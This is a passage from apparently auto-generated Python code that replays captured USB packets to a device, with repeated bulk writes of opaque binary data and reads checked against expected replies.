b\"\\xCE\\xC7\\xA3\\x20\\x4D\\x61\\xB6\\x20\\x81\\x55\\x41\\x2C\\xD3\\xC8\\x7A\\x47\"\n b\"\\x05\\xE8\\xC2\\xE7\\x22\\x96\\xF9\\xB5\\x56\\x7E\\xE3\\xC0\\x34\\xE1\\xEB\\x09\"\n b\"\\x0A\\xEE\\xC4\\x19\\x2A\\xE6\\x2E\\xC2\\xE0\\x32\\x0A\\x89\\x39\\x29\\xCB\\x58\"\n b\"\\x8B\\xC4\\xA1\\xF2\\x95\\x64\\x6B\\xE0\\x41\\xC8\\x7C\\x3C\\xAC\\xBD\\x3C\\x68\"\n b\"\\x89\\x47\\x2E\\x39\\x16\\x62\\x5A\\x88\\x7D\\xC6\\xD1\\x51\\x23\\xEA\\xA9\\x64\"\n b\"\\x94\\xA9\\x10\\x6D\\x3C\\xED\\xFC\\x8B\\xC4\\x80\\x7B\\x2A\\x51\\x95\\x82\\x15\"\n b\"\\xB0\\x4C\\xB2\\xE4\\xDE\\xE2\\x34\\xB3\\x2B\\xB6\\x8F\\xBB\\xC9\\xE1\\x11\\x22\"\n b\"\\x06\\x5E\\xD0\\xCB\\x14\\xCA\\x57\\xC7\\xC8\\x02\\x00\\xEA\\xFE\\x38\\xE3\\x6D\"\n b\"\\xAD\\xBE\\x3D\\xD8\\xF5\\xB7\\x6C\\xBE\\xE3\\xAE\\x12\\x19\\x6A\\x8D\\xB6\\xBF\"\n b\"\\x28\\xD6\\xDE\\x7A\\xC1\\x1E\\x7B\\x40\\x1F\\xD4\\x21\\xD6\\x58\\x3D\\x5D\\xA7\"\n b\"\\xAE\\x03\\x90\\xE8\\x3F\\x5B\\x0C\\xFB\\x4E\\xE3\\x20\\xF1\\x77\\x34\\x67\\x83\"\n b\"\\x0F\\xC8\\xEC\\xBD\\x2E\\x74\\x02\\x37\\xAC\\x82\\x8D\\x5E\\x19\\x42\\x63\\x72\"\n b\"\\x68\\x0E\\xA7\\xC1\\x70\\x33\\xF3\\xD5\\xF8\\x92\\x19\\xA6\\xA8\\xA6\\x28\\x0C\"\n b\"\\x51\\xD5\\x06\\xF1\\xA8\\xFF\\x3C\\xE6\\x27\\xC0\\x2C\\xA9\\xD0\\xEF\\x23\\x14\"\n b\"\\xCB\\x37\\x95\\xC7\\xA5\\xC8\\xDC\\x8E\\x21\\xDF\\x53\\x8F\\x1B\\x98\\xF5\\x8F\"\n b\"\\x8D\\x45\\x0D\\x6B\\x79\\x78\\xD2\\xC1\\xBC\\xAC\\xDB\\x79\")\n # Generated from packet 3819/3820\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3819/3820\")\n # Generated from packet 3821/3822\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEF\\x74\\xF7\\xDF\\x5A\\x18\\x00\\x00\"\n b\"\\x0F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\x4E\\x18\\x84\\x0C\\xBA\\xA7\\xC2\"\n b\"\\xAC\\x9D\\xD9\\xF9\\xFE\\xE9\\x31\\xE3\\x8B\\x8B\\xAE\\xEB\\x42\\xB5\\xA1\\xC4\"\n b\"\\x52\\x95\\xA9\\x2E\\x89\\x5F\\x7D\\x0A\\xC2\\x86\\x66\\xCB\\x13\\x34\\x8B\\xA1\"\n b\"\\xB9\\x2A\\x2B\\x6B\\xAB\\xFE\\x87\\x7C\\x77\\x13\\xF2\\x3C\\x23\\x36\\x08\\x2E\"\n b\"\\x72\\xA9\\x2D\\x5A\\xC3\\xC2\\x89\\xD1\\x1A\\x9C\\xA5\\xA9\\x2F\\x2B\\xE6\\x10\"\n b\"\\x26\\x83\\xA2\\xFC\\xC0\\x7B\\xCF\\x7B\\x61\\xEE\\xDA\\x82\\x5E\\x0F\\x03\\xB2\"\n b\"\\xAF\\x61\\xAD\\x34\\xF8\\x94\\xF9\\x8F\\xF0\\x76\\xAE\\x11\\x69\\xB9\\x11\\xD0\"\n b\"\\x80\\xAB\\x85\\x57\\x8C\\x77\\x4D\\x00\\xA1\\x41\\x77\\xE3\\x26\\x12\\xF1\\x3D\"\n b\"\\x93\\x4A\\xF8\\x6C\\xF5\\x5C\\xE1\\x12\\x52\\xD5\\xC2\\xB6\\xF4\\x97\\x99\\xDE\"\n b\"\\x31\\x7E\\x51\\x7B\\x0B\\xA0\\x9B\\x21\\x9D\\xE7\\x72\\x5D\\xEC\\x11\\x4C\\x90\"\n b\"\\xA3\\x80\\x14\\x0C\\xB0\\xF1\\xAC\\x20\\xBA\\xC8\\x7B\\x67\\xC8\\xB0\\x87\\xEC\"\n b\"\\xF6\\x91\\x3B\\x02\\x7C\\x13\\xCD\\x8D\\x15\\xA6\\x0D\\x63\\x39\\xD7\\x41\\xA7\"\n b\"\\x8A\\xCF\\x7C\\xF3\\x9E\\x47\\xDD\\x19\\xED\\x17\\xE9\\x28\\x47\\xEE\\x9A\\x06\"\n b\"\\xBA\\x17\\xB0\\x3C\\xAD\\x98\\x8F\\x2C\\xE2\\x6F\\xA0\\x23\\x5F\\x74\\x78\\x95\"\n b\"\\x8C\\x1A\\x87\\xDC\\xC5\\x9E\\x90\\x53\\xC4\\xA4\\xD7\\xF5\\xC4\\x32\\x0A\\x0D\"\n b\"\\x20\\xC6\\x37\\xD2\\x8A\\x03\\xE3\\xDB\\x32\\x1A\\xBE\\x81\\xE1\\x8C\\x11\\xC4\"\n b\"\\x1C\\x37\\xC2\\xD7\\x8B\\x23\\x78\\xDD\\xB7\\x75\\x26\\x65\")\n # Generated from packet 3823/3824\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3823/3824\")\n # Generated from packet 3825/3826\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x21\\x24\\xF9\\xCB\\xDC\\x30\\x00\\x00\"\n b\"\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD8\\xFF\\x84\\x74\\x41\\xE2\\x26\\xDD\"\n b\"\\x2C\\xDE\\x9F\\x74\\xBC\\x68\\x20\\x2D\\xE7\\x72\\x20\\x84\\x9B\\x50\\x21\\xC2\"\n b\"\\x8A\\x91\\xD2\\x79\\xE3\\xC0\\x8A\\x00\\x8A\\x7C\\xB2\\x22\\xA3\\xAF\\xE6\\x67\"\n b\"\\x06\\xC7\\x55\\x5A\\x5B\\x06\\xE6\\x78\\x70\\x4D\\x8B\\x0C\\x5F\\xC5\\x97\\xD5\"\n b\"\\x98\\x94\\xB0\\x82\\xD6\\xE9\\x02\\x01\\x86\\x15\\x56\\x52\\x87\\xDE\\xD8\\x7D\"\n b\"\\x4C\\xB6\\x13\\x1A\\x60\\x8E\\x10\\xF4\\xBA\\x71\\x4F\\x9D\\xFA\\x6D\\x4F\\xCF\"\n b\"\\xEF\\x03\\x90\\x72\\x13\\xA5\\x20\\xF1\\xB5\\xB0\\x20\\x3D\\x81\\x47\\x2C\\x6F\"\n b\"\\x1C\\x7C\\x47\\xB9\\x3C\\xC4\\xE7\\x9E\\x42\\xFF\\xB5\\xEA\\xAA\\xE5\\xC0\\x88\"\n b\"\\x35\\xED\\x09\\xB6\\x3A\\xC2\\x19\\x96\\x32\\x28\\xC2\\x5C\\xE6\\x0C\\x89\\x85\"\n b\"\\xFD\\xCD\\x58\\x37\\x10\\xA7\\xF2\\x29\\xB0\\x6D\\xE0\\xFD\\x1C\\x7A\\x3C\\x10\"\n b\"\\x69\\x3A\\x68\\x35\\x93\\x28\\x39\\xAA\\xB6\\x5C\\x88\\xC1\\x12\\xD7\\x51\\x9F\"\n b\"\\x3E\\xAF\\x64\\x28\\x7D\\x16\\x6D\\x80\\x39\\xFA\\x8B\\x78\\x54\\x7D\\x2A\\xED\"\n b\"\\x41\\x84\\x15\\x0C\\x98\\xB4\\xE4\\x62\\x36\\x32\\xB3\\x97\\x62\\x89\\xBB\\x75\"\n b\"\\x35\\x17\\x22\\xBA\\x8A\\xD6\\xCB\\xA8\\x1E\\x51\\xC7\\x74\\xD6\\x06\\xEA\\x42\"\n b\"\\xEC\\xE5\\x6D\\x11\\x6A\\x3B\\xD8\\x49\\x63\\x6A\\xBE\\x5F\\x7A\\x14\\x19\\xD6\"\n b\"\\x59\\xB0\\xBF\\x94\\x02\\xD8\\x7A\\x7D\\xCA\\x7D\\x40\\xA3\\x00\\x27\\xD6\\xE4\"\n b\"\\xE9\\x5B\\xA7\\x12\\xD7\\x96\\xE8\\x83\\x8F\\x0A\\xFB\\xF2\")\n # Generated from packet 3827/3828\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3827/3828\")\n # Generated from packet 3829/3830\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9A\\x1A\\x34\\x9C\\xE9\\x26\\x00\\x00\"\n b\"\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\xFF\\x7B\\xD8\\xE0\\x73\\xD8\\x9F\"\n b\"\\x49\\xE3\\x6E\\x20\\x10\\xB8\\x74\\x20\\xB9\\xC4\\x56\\x21\\xFF\\xD5\\x97\\xD2\"\n b\"\\x44\\xBC\\xC6\\x8A\\x3D\\xD5\\x7A\\xB2\\x1F\\xFC\\xA9\\xE6\\x5A\\x59\\xC1\\x55\"\n b\"\\x67\\x04\\x00\\xE6\\x45\\x2F\\x4B\\x8B\\x31\\x00\\xC3\\x97\\xE8\\xC7\\x92\\xB0\"\n b\"\\xBF\\x89\\xEF\\x02\\x3C\\xD9\\x13\\x56\\x6F\\xD8\\xD8\\xD8\\x40\\x13\\xB0\\x13\"\n b\"\\x27\\x3F\\x88\\x10\\xC9\\xE5\\x77\\x4F\\xA0\\xA5\\x6B\\x4F\\xF2\\xB0\\x05\\x90\"\n b\"\\x4F\\x4C\\xA3\\x20\\xCC\\xEA\\xB6\\x20\\x00\\xDE\\x41\\x2C\\x52\\x43\\x7A\\x47\"\n b\"\\x84\\x63\\xC2\\xE7\\xA3\\x1D\\xF9\\xB5\\xD7\\xF5\\xE3\\xC0\\xB5\\x6A\\xEB\\x09\"\n b\"\\x8B\\x65\\xC4\\x19\\xAB\\x6D\\x2E\\xC2\\x61\\xB9\\x0A\\x89\\xB8\\xA2\\xCB\\x58\"\n b\"\\x0A\\x4F\\xA1\\xF2\\x14\\xEF\\x6B\\xE0\\xC0\\x43\\x7C\\x3C\\x2D\\x36\\x3C\\x68\"\n b\"\\x08\\xCC\\x2E\\x39\\x97\\xE9\\x5A\\x88\\xFC\\x4D\\xD1\\x51\\xA2\\x61\\xA9\\x64\"\n b\"\\x15\\x22\\x10\\x6D\\xBD\\x66\\xFC\\x8B\\x45\\x0B\\x7B\\x2A\\xD0\\x1E\\x82\\x15\"\n b\"\\x31\\xC7\\xB2\\xE4\\x5F\\x69\\x34\\xB3\\xAA\\x3D\\x8F\\xBB\\x48\\x6A\\x11\\x22\"\n b\"\\x87\\xD5\\xD0\\xCB\\x95\\x41\\x57\\xC7\\x49\\x89\\x00\\xEA\\x7F\\xB3\\xE3\\x6D\"\n b\"\\x2C\\x35\\x3D\\xD8\\x74\\x3C\\x6C\\xBE\\x62\\x25\\x12\\x19\\xEB\\x06\\xB6\\xBF\"\n b\"\\xA9\\x5D\\xDE\\x7A\\x40\\x95\\x7B\\x40\\x9E\\x5F\\x21\\xD6\\xD9\\xB6\\x5D\\xA7\"\n b\"\\x2F\\x88\\x90\\xE8\\xBE\\xD0\\x0C\\xFB\\xCF\\x68\\x20\\xF1\")\n # Generated from packet 3831/3832\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3831/3832\")\n # Generated from packet 3833/3834\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x54\\x4A\\x3A\\x88\\x77\\x0F\\x00\\x00\"\n b\"\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x96\\x3E\\x3A\\xF7\\x77\\xA9\\x2E\"\n b\"\\x2C\\xBD\\x7D\\x0A\\x67\\x64\\x66\\xCB\\xB6\\xD6\\x8B\\xA1\\x1C\\xC8\\x2B\\x6B\"\n b\"\\x0E\\x1C\\x87\\x7C\\xD2\\xF1\\xF2\\x3C\\x86\\xD4\\x08\\x2E\\xD7\\x4B\\x2D\\x5A\"\n b\"\\x66\\x20\\x89\\xD1\\xBF\\x7E\\xA5\\xA9\\x8A\\xC9\\xE6\\x10\\x83\\x61\\xA2\\xFC\"\n b\"\\x65\\x99\\xCF\\x7B\\xC4\\x0C\\xDA\\x82\\xFB\\xED\\x03\\xB2\\x0A\\x83\\xAD\\x34\"\n b\"\\x5D\\x76\\xF9\\x8F\\x55\\x94\\xAE\\x11\\xCC\\x5B\\x11\\xD0\\x25\\x49\\x85\\x57\"\n b\"\\x29\\x95\\x4D\\x00\\x04\\xA3\\x77\\xE3\\x83\\xF0\\xF1\\x3D\\x36\\xA8\\xF8\\x6C\"\n b\"\\x50\\xBE\\xE1\\x12\\xF7\\x37\\xC2\\xB6\\x51\\x75\\x99\\xDE\\x94\\x9C\\x51\\x7B\"\n b\"\\xAE\\x42\\x9B\\x21\\x38\\x05\\x72\\x5D\\x49\\xF3\\x4C\\x90\\x06\\x62\\x14\\x0C\"\n b\"\\x15\\x13\\xAC\\x20\\x1F\\x2A\\x7B\\x67\\x6D\\x52\\x87\\xEC\\x53\\x73\\x3B\\x02\"\n b\"\\xD9\\xF1\\xCD\\x8D\\xB0\\x44\\x0D\\x63\\x9C\\x35\\x41\\xA7\\x2F\\x2D\\x7C\\xF3\"\n b\"\\x3B\\xA5\\xDD\\x19\\x48\\xF5\\xE9\\x28\\xE2\\x0C\\x9A\\x06\\x1F\\xF5\\xB0\\x3C\"\n b\"\\x08\\x7A\\x8F\\x2C\\x47\\x8D\\xA0\\x23\\xFA\\x96\\x78\\x95\\x29\\xF8\\x87\\xDC\"\n b\"\\x60\\x7C\\x90\\x53\\x61\\x46\\xD7\\xF5\\x61\\xD0\\x0A\\x0D\\x85\\x24\\x37\\xD2\"\n b\"\\x2F\\xE1\\xE3\\xDB\\x97\\xF8\\xBE\\x81\\x44\\x6E\\x11\\xC4\\xB9\\xD5\\xC2\\xD7\"\n b\"\\x2E\\xC1\\x78\\xDD\\x12\\x97\\x26\\x65\\x72\\xA2\\x05\\xFC\\x38\\x62\\xEB\\x66\"\n b\"\\xBC\\xAE\\x86\\x73\\x2B\\x82\\x70\\x5B\\x02\\xAA\\x82\\x78\")\n # Generated from packet 3835/3836\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3835/3836\")\n # Generated from packet 3837/3838\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x06\\xBB\\x28\\xB4\\x5D\\x19\\x00\\x00\"\n b\"\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x3B\\x38\\x3C\\x4C\\xBD\\xD9\\xF9\"\n b\"\\x1E\\xC9\\x31\\xE3\\x6B\\xAB\\xAE\\xEB\\xA2\\x95\\xA1\\xC4\\xB2\\xB5\\xA9\\x2E\"\n b\"\\x69\\x7F\\x7D\\x0A\\x22\\xA6\\x66\\xCB\\xF3\\x14\\x8B\\xA1\\x59\\x0A\\x2B\\x6B\"\n b\"\\x4B\\xDE\\x87\\x7C\\x97\\x33\\xF2\\x3C\\xC3\\x16\\x08\\x2E\\x92\\x89\\x2D\\x5A\"\n b\"\\x23\\xE2\\x89\\xD1\\xFA\\xBC\\xA5\\xA9\\xCF\\x0B\\xE6\\x10\\xC6\\xA3\\xA2\\xFC\"\n b\"\\x20\\x5B\\xCF\\x7B\\x81\\xCE\\xDA\\x82\\xBE\\x2F\\x03\\xB2\\x4F\\x41\\xAD\\x34\"\n b\"\\x18\\xB4\\xF9\\x8F\\x10\\x56\\xAE\\x11\\x89\\x99\\x11\\xD0\\x60\\x8B\\x85\\x57\"\n b\"\\x6C\\x57\\x4D\\x00\\x41\\x61\\x77\\xE3\\xC6\\x32\\xF1\\x3D\\x73\\x6A\\xF8\\x6C\"\n b\"\\x15\\x7C\\xE1\\x12\\xB2\\xF5\\xC2\\xB6\\x14\\xB7\\x99\\xDE\\xD1\\x5E\\x51\\x7B\"\n b\"\\xEB\\x80\\x9B\\x21\\x7D\\xC7\\x72\\x5D\\x0C\\x31\\x4C\\x90\\x43\\xA0\\x14\\x0C\"\n b\"\\x50\\xD1\\xAC\\x20\\x5A\\xE8\\x7B\\x67\\x28\\x90\\x87\\xEC\\x16\\xB1\\x3B\\x02\"\n b\"\\x9C\\x33\\xCD\\x8D\\xF5\\x86\\x0D\\x63\\xD9\\xF7\\x41\\xA7\\x6A\\xEF\\x7C\\xF3\"\n b\"\\x7E\\x67\\xDD\\x19\\x0D\\x37\\xE9\\x28\\xA7\\xCE\\x9A\\x06\\x5A\\x37\\xB0\\x3C\"\n b\"\\x4D\\xB8\\x8F\\x2C\\x02\\x4F\\xA0\\x23\\xBF\\x54\\x78\\x95\\x6C\\x3A\\x87\\xDC\"\n b\"\\x25\\xBE\\x90\\x53\\x24\\x84\\xD7\\xF5\\x24\\x12\\x0A\\x0D\\xC0\\xE6\\x37\\xD2\"\n b\"\\x6A\\x23\\xE3\\xDB\\xD2\\x3A\\xBE\\x81\\x01\\xAC\\x11\\xC4\\xFC\\x17\\xC2\\xD7\"\n b\"\\x6B\\x03\\x78\\xDD\\x57\\x55\\x26\\x65\\x37\\x60\\x05\\xFC\")\n # Generated from packet 3839/3840\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3839/3840\")\n # Generated from packet 3841/3842\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC8\\xEB\\x26\\xA0\\xEB\\x05\\x00\\x00\"\n b\"\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x63\\x33\\x86\\x28\\xBF\\x16\\xBF\\x94\"\n b\"\\xE4\\x7E\\x7A\\x7D\\x2C\\xDB\\x40\\xA3\\xE6\\x81\\xD6\\xE4\\x0F\\xFD\\xA7\\x12\"\n b\"\\x31\\x30\\xE8\\x83\\x69\\xAC\\xFB\\xF2\\xD1\\x80\\xF1\\xCB\\x06\\xC7\\x83\\xB3\"\n b\"\\xFA\\x4C\\xBD\\x92\\x46\\xA2\\x37\\x10\\xB0\\x2D\\x5E\\xA5\\x70\\xC3\\x72\\xD4\"\n b\"\\x3C\\x07\\xC1\\xCC\\x01\\x53\\xD5\\x44\\xA0\\xB9\\xA6\\x14\\x94\\x88\\x0C\\xED\"\n b\"\\xE7\\xA6\\xF1\\x14\\xCD\\x9C\\xE6\\x9B\\xF2\\x8C\\xA9\\x6C\\xDD\\x83\\x14\\x77\"\n b\"\\x05\\x35\\xC7\\x19\\xFA\\x7C\\x8E\\x9D\\xED\\xF3\\x8F\\xA7\\xAA\\x55\\x8F\\x31\"\n b\"\\x77\\xAD\\x6B\\xC5\\x4A\\x72\\xC1\\x00\\x9E\\x7B\\x79\\x19\\xC3\\x21\\xAA\\x8F\"\n b\"\\x6C\\x64\\x57\\x34\\xBF\\x77\\xC0\\x20\\x05\\x7D\\xFC\\x76\\x5B\\xC5\\x9C\\x43\"\n b\"\\x78\\x5C\\xD6\\x83\\x96\\xC6\\x52\\x4F\\xFB\\xD3\\xC5\\x63\\x0D\\xFB\\xEC\\x4B\"\n b\"\\xFF\\xD8\\xC4\\xE1\\x0E\\x2D\\x9E\\x46\\xDD\\x3F\\x57\\x48\\xD3\\x03\\x59\\x02\"\n b\"\\x2E\\xE8\\x58\\x41\\x39\\xF0\\xDA\\x33\\xB7\\x41\\x5F\\x9B\\x2A\\xE5\\xE8\\x50\"\n b\"\\x21\\xEB\\x7C\\x5E\\x8B\\xBF\\x92\\xA1\\xD1\\xF7\\x1F\\xFC\\x1F\\xF5\\x24\\x83\"\n b\"\\x69\\x9A\\x4C\\xEA\\x90\\x81\\xB5\\xAD\\x86\\xAE\\x2E\\x29\\xB1\\xCC\\x65\\x9C\"\n b\"\\xD8\\xD0\\xA2\\x1D\\xDF\\xA5\\xFE\\x5C\\x8A\\xBC\\x6C\\x6C\\x76\\xD7\\x93\\x75\"\n b\"\\xC3\\x35\\x27\\x24\\x90\\x61\\x55\\x98\\x20\\x16\\xF2\\x2C\\x7F\\x15\\x60\\xE5\"\n b\"\\x80\\xD2\\xF3\\x2A\\x9E\\x10\\x3E\\xF7\\xC8\\x1C\\xCF\\x66\")\n # Generated from packet 3843/3844\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3843/3844\")\n # Generated from packet 3845/3846\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA2\\x59\\x0D\\xCC\\xB5\\x62\\x00\\x00\"\n b\"\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3D\\x0A\\xF1\\xDE\\x9B\\x30\\x74\\x20\"\n b\"\\x32\\x4C\\x56\\x21\\x74\\x5D\\x97\\xD2\\xCF\\x34\\xC6\\x8A\\xB6\\x5D\\x7A\\xB2\"\n b\"\\x94\\x74\\xA9\\xE6\\xD1\\xD1\\xC1\\x55\\xEC\\x8C\\x00\\xE6\\xCE\\xA7\\x4B\\x8B\"\n b\"\\xBA\\x88\\xC3\\x97\\x63\\x4F\\x92\\xB0\\x34\\x01\\xEF\\x02\\xB7\\x51\\x13\\x56\"\n b\"\\xE4\\x50\\xD8\\xD8\\xCB\\x9B\\xB0\\x13\\xAC\\xB7\\x88\\x10\\x42\\x6D\\x77\\x4F\"\n b\"\\x2B\\x2D\\x6B\\x4F\\x79\\x38\\x05\\x90\\xC4\\xC4\\xA3\\x20\\x47\\x62\\xB6\\x20\"\n b\"\\x8B\\x56\\x41\\x2C\\xD9\\xCB\\x7A\\x47\\x0F\\xEB\\xC2\\xE7\\x28\\x95\\xF9\\xB5\"\n b\"\\x5C\\x7D\\xE3\\xC0\\x3E\\xE2\\xEB\\x09\\x00\\xED\\xC4\\x19\\x20\\xE5\\x2E\\xC2\"\n b\"\\xEA\\x31\\x0A\\x89\\x33\\x2A\\xCB\\x58\\x81\\xC7\\xA1\\xF2\\x9F\\x67\\x6B\\xE0\"\n b\"\\x4B\\xCB\\x7C\\x3C\\xA6\\xBE\\x3C\\x68\\x83\\x44\\x2E\\x39\\x1C\\x61\\x5A\\x88\"\n b\"\\x77\\xC5\\xD1\\x51\\x29\\xE9\\xA9\\x64\\x9E\\xAA\\x10\\x6D\\x36\\xEE\\xFC\\x8B\"\n b\"\\xCE\\x83\\x7B\\x2A\\x5B\\x96\\x82\\x15\\xBA\\x4F\\xB2\\xE4\\xD4\\xE1\\x34\\xB3\"\n b\"\\x21\\xB5\\x8F\\xBB\\xC3\\xE2\\x11\\x22\\x0C\\x5D\\xD0\\xCB\\x1E\\xC9\\x57\\xC7\"\n b\"\\xC2\\x01\\x00\\xEA\\xF4\\x3B\\xE3\\x6D\\xA7\\xBD\\x3D\\xD8\\xFF\\xB4\\x6C\\xBE\"\n b\"\\xE9\\xAD\\x12\\x19\\x60\\x8E\\xB6\\xBF\\x22\\xD5\\xDE\\x7A\\xCB\\x1D\\x7B\\x40\"\n b\"\\x15\\xD7\\x21\\xD6\\x52\\x3E\\x5D\\xA7\\xA4\\x00\\x90\\xE8\\x35\\x58\\x0C\\xFB\"\n b\"\\x44\\xE0\\x20\\xF1\\x7D\\x37\\x67\\x83\\x05\\xCB\\xEC\\xBD\")\n # Generated from packet 3847/3848\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3847/3848\")\n # Generated from packet 3849/3850\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6C\\x09\\x03\\xD8\\x69\\x61\\x00\\x00\"\n b\"\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x36\\x0F\\x32\\xCA\\x9E\\xBB\\xF9\\x8F\"\n b\"\\x96\\x59\\xAE\\x11\\x0F\\x96\\x11\\xD0\\xE6\\x84\\x85\\x57\\xEA\\x58\\x4D\\x00\"\n b\"\\xC7\\x6E\\x77\\xE3\\x40\\x3D\\xF1\\x3D\\xF5\\x65\\xF8\\x6C\\x93\\x73\\xE1\\x12\"\n b\"\\x34\\xFA\\xC2\\xB6\\x92\\xB8\\x99\\xDE\\x57\\x51\\x51\\x7B\\x6D\\x8F\\x9B\\x21\"\n b\"\\xFB\\xC8\\x72\\x5D\\x8A\\x3E\\x4C\\x90\\xC5\\xAF\\x14\\x0C\\xD6\\xDE\\xAC\\x20\"\n b\"\\xDC\\xE7\\x7B\\x67\\xAE\\x9F\\x87\\xEC\\x90\\xBE\\x3B\\x02\\x1A\\x3C\\xCD\\x8D\"\n b\"\\x73\\x89\\x0D\\x63\\x5F\\xF8\\x41\\xA7\\xEC\\xE0\\x7C\\xF3\\xF8\\x68\\xDD\\x19\"\n b\"\\x8B\\x38\\xE9\\x28\\x21\\xC1\\x9A\\x06\\xDC\\x38\\xB0\\x3C\\xCB\\xB7\\x8F\\x2C\"\n b\"\\x84\\x40\\xA0\\x23\\x39\\x5B\\x78\\x95\\xEA\\x35\\x87\\xDC\\xA3\\xB1\\x90\\x53\"\n b\"\\xA2\\x8B\\xD7\\xF5\\xA2\\x1D\\x0A\\x0D\\x46\\xE9\\x37\\xD2\\xEC\\x2C\\xE3\\xDB\"\n b\"\\x54\\x35\\xBE\\x81\\x87\\xA3\\x11\\xC4\\x7A\\x18\\xC2\\xD7\\xED\\x0C\\x78\\xDD\"\n b\"\\xD1\\x5A\\x26\\x65\\xB1\\x6F\\x05\\xFC\\xFB\\xAF\\xEB\\x66\\x7F\\x63\\x86\\x73\"\n b\"\\xE8\\x4F\\x70\\x5B\\xC1\\x67\\x82\\x78\\xE9\\xCD\\x73\\x8D\\xB3\\x6A\\xA0\\x9F\"\n b\"\\x7A\\x64\\xAE\\xA3\\x74\\x2E\\x53\\x48\\x75\\x6D\\x44\\x50\\xF7\\x1F\\xCA\\xE1\"\n b\"\\x72\\xB7\\x57\\x45\\xC5\\x7C\\x5C\\x4B\\x51\\x72\\xF6\\x1F\\xBF\\x8D\\xAC\\x57\"\n b\"\\x32\\xD0\\x62\\x55\\x09\\xAF\\x14\\x3A\\x61\\xC6\\xED\\x21\\x98\\x81\\xFB\\x0E\"\n b\"\\x03\\x05\\xCC\\x6C\\x48\\xB0\\xA5\\x70\\x8F\\x31\\xA2\\x05\")\n # Generated from packet 3851/3852\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3851/3852\")\n # Generated from packet 3853/3854\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3E\\xF8\\x11\\xE4\\xC5\\x70\\x00\\x00\"\n b\"\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x86\\x7A\\xC5\\x3E\\xB8\\xE8\\x78\\xEB\"\n b\"\\xF3\\x85\\x0C\\xC4\\x7B\\x99\\xD5\\x03\\x2A\\xBE\\x82\\x4D\\x57\\x0C\\x01\\x1D\"\n b\"\\xAB\\x58\\x52\\x1C\\x60\\xD6\\x7D\\xD7\\x08\\x1D\\x1A\\xFB\\x30\\x1E\\xF4\\x21\"\n b\"\\xCF\\x41\\x9D\\x61\\xD3\\x41\\xCF\\x74\\xBD\\x9E\\x72\\x88\\x1B\\x2E\\xF1\\x2E\"\n b\"\\x0E\\x2E\\x3D\\x1A\\xF9\\x22\\x6F\\x87\\xC2\\x49\\xB9\\xA7\\x7A\\xE9\\x9E\\xD9\"\n b\"\\x41\\xBB\\xEA\\x31\\x5B\\xCE\\x88\\xAE\\x53\\x07\\xB6\\xA1\\x7C\\x17\\x96\\xA9\"\n b\"\\x96\\xCC\\x5C\\x7D\\xB2\\x87\\x85\\x66\\x73\\x56\\x37\\x8B\\x19\\xFC\\x29\\x2B\"\n b\"\\xD3\\xEE\\xFD\\x87\\xC4\\x32\\x10\\xF2\\x84\\x66\\x35\\x08\\x96\\x37\\xAA\\x2D\"\n b\"\\xE2\\x86\\xC1\\x89\\x69\\x5F\\x9F\\xA5\\x11\\x6A\\x28\\xE6\\xA8\\x63\\x80\\xA2\"\n b\"\\x44\\x85\\x78\\xCF\\xC3\\x24\\xED\\xDA\\x3A\\x1B\\x0C\\x03\\x0A\\xEA\\x62\\xAD\"\n b\"\\x8C\\xBD\\x97\\xF9\\x37\\xB5\\x75\\xAE\\xA9\\x2C\\xBA\\x11\\x68\\xC5\\xA8\\x85\"\n b\"\\xEF\\xC9\\x74\\x4D\\xB8\\xE4\\x42\\x77\\x5B\\x63\\x11\\xF1\\x85\\xD6\\x49\\xF8\"\n b\"\\xD4\\xB0\\x5F\\xE1\\xAA\\x17\\xD6\\xC2\\x0E\\xB1\\x94\\x99\\x66\\x74\\x7D\\x51\"\n b\"\\xC3\\x4E\\xA3\\x9B\\x99\\xD8\\xE4\\x72\\xE5\\xA9\\x12\\x4C\\x28\\xE6\\x83\\x14\"\n 